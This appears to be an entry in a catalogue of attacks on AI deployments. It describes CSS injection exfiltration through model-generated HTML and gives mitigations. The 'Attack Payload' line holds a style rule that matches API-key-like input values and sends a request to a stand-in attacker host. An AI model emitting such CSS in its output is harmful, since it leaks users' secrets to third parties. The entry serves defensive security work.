HIGHData Exfiltration

CSS Injection Exfiltration

If the model generates HTML/CSS and it is rendered in a browser, CSS injection can be used to exfiltrate data using CSS attribute selectors and URL-based background images. Each attribute value triggers a separate request.

Attack Payload

payload.txt
[Model generates] <style>input[value^="sk-"] { background: url(https://attacker.com/?data=found_api_key); }</style>

Mitigation

Never render raw HTML from model output. Apply strict CSP headers. Sanitize all model output before insertion into web pages.

Affected Models

Web-based AI deployments with HTML rendering

Tags

#exfiltration#css#html#side-channel

Discovered

September 2023

Source

Web security research
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